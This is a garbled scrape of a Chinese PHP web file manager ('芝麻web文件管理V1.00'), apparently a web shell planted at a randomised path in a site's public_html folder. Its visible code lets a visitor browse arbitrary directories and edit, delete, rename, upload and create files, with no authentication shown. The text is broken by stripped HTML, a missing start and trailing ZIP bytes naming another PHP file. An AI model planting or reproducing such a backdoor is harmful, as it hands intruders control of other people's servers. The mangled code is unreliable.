芝麻web文件管理V1.00

编辑当前文件:/home/gettoplisting/public_html/dd7e5a-20251107115653/erk72g/x6an4i.zip

"; echo ""; echo "
"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo ""; } } function handleRenameFile($filePath) { if (!empty($_POST['newName'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; if (rename($filePath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
"; echo ""; echo ""; echo "
"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "

目录内容:'$directory'

"; } function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "border-left: 4px solid green;"; } elseif (!is_writable($path)) { return "border-left: 4px solid red;"; } elseif (is_readable($path)) { return "border-left: 4px solid white;"; } return ""; } function generateFileActions($directory, $file) { $root = urlencode($_GET['root'] ?? __DIR__); return "编辑 | 删除 | 重命名"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; } } } echo "文件管理器 "; echo "

当前目录: $currentDir

"; echo "

返回上级目录 | 回到原目录

"; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); echo "
"; // 上传文件 echo "
"; echo "

上传文件(最多4个)

"; for ($i = 0; $i < 4; $i++) { echo "
"; } echo "
"; echo "
"; echo "
"; // 合并创建目录和文件 echo "
"; echo "

创建目录 & 创建文件

"; echo "

"; echo "

"; echo "

"; echo ""; echo "
"; echo "
"; echo "
"; // container 结束 if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } echo ""; echo ""; ?> PK&e[!-AA x14vh.phpnu[PKIz